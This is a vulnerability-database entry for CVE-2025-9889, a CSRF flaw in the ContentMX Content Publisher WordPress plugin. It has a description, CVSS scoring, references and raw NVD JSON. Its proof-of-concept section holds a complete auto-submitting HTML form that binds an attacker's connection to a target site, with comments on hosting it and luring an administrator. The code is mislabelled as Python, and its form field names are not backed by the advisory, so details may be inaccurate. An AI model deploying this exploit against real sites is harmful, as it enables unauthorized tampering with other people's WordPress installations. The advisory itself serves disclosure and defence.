CVE-2025-9889

Description

The ContentMX Content Publisher plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 1.0.6. This is due to missing or incorrect nonce validation on the cmx_activate_connection function. This makes it possible for unauthenticated attackers to bind their own ContentMX connection via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.

CVSS Details

CVSS Score

4.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

ContentMX Content Publisher <= 1.0.6

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CVE-2025-9889 PoC: CSRF exploit for ContentMX Content Publisher plugin -->
<!-- Targets the cmx_activate_connection function lacking nonce validation -->
<html>
<head><title>Loading...</title></head>
<body>
<!-- Auto-submitting form targeting vulnerable WordPress site -->
<form id="csrf-form" action="http://target-wordpress-site.com/wp-admin/admin-post.php" method="POST">
    <!-- WordPress admin-post.php action handler -->
    <input type="hidden" name="action" value="cmx_activate_connection" />
    <!-- Attacker's controlled ContentMX API credentials -->
    <input type="hidden" name="cmx_api_key" value="ATTACKER_API_KEY_HERE" />
    <input type="hidden" name="cmx_api_secret" value="ATTACKER_API_SECRET_HERE" />
    <input type="hidden" name="cmx_connection_name" value="malicious_connection" />
    <input type="hidden" name="cmx_activate" value="1" />
</form>
<script>
    // Auto-submit the form when the page loads
    document.getElementById('csrf-form').submit();
</script>
</body>
</html>
<!-- 
 * Usage: Host this page on attacker-controlled server.
 * Trick an authenticated admin into visiting this URL.
 * The browser will auto-submit the form with the admin's session cookie,
 * binding the attacker's ContentMX connection to the target site.
 * No nonce validation = CSRF protection bypassed.
-->

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-9889
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-9889
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-9889/
[4] VulDB https://vuldb.com/cve/CVE-2025-9889
[5] https://plugins.trac.wordpress.org/browser/contentmx-content-publisher/tags/1.0.6/inc/admin.php#L7
[6] https://plugins.trac.wordpress.org/browser/contentmx-content-publisher/tags/1.0.7/inc/admin.php#L7
[7] https://www.wordfence.com/threat-intel/vulnerabilities/id/a5dd354f-080f-4be9-837e-eed48037f140?source=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-9889", "sourceIdentifier": "[email protected]", "published": "2025-10-03T12:15:50.140", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The ContentMX Content Publisher plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 1.0.6. This is due to missing or incorrect nonce validation on the cmx_activate_connection function. This makes it possible for unauthenticated attackers to bind their own ContentMX connection via a forged request granted they can trick a site administrator into performing an action such as clicking on a link."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-352"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/contentmx-content-publisher/tags/1.0.6/inc/admin.php#L7", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/contentmx-content-publisher/tags/1.0.7/inc/admin.php#L7", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/a5dd354f-080f-4be9-837e-eed48037f140?source=cve", "source": "[email protected]"}]}}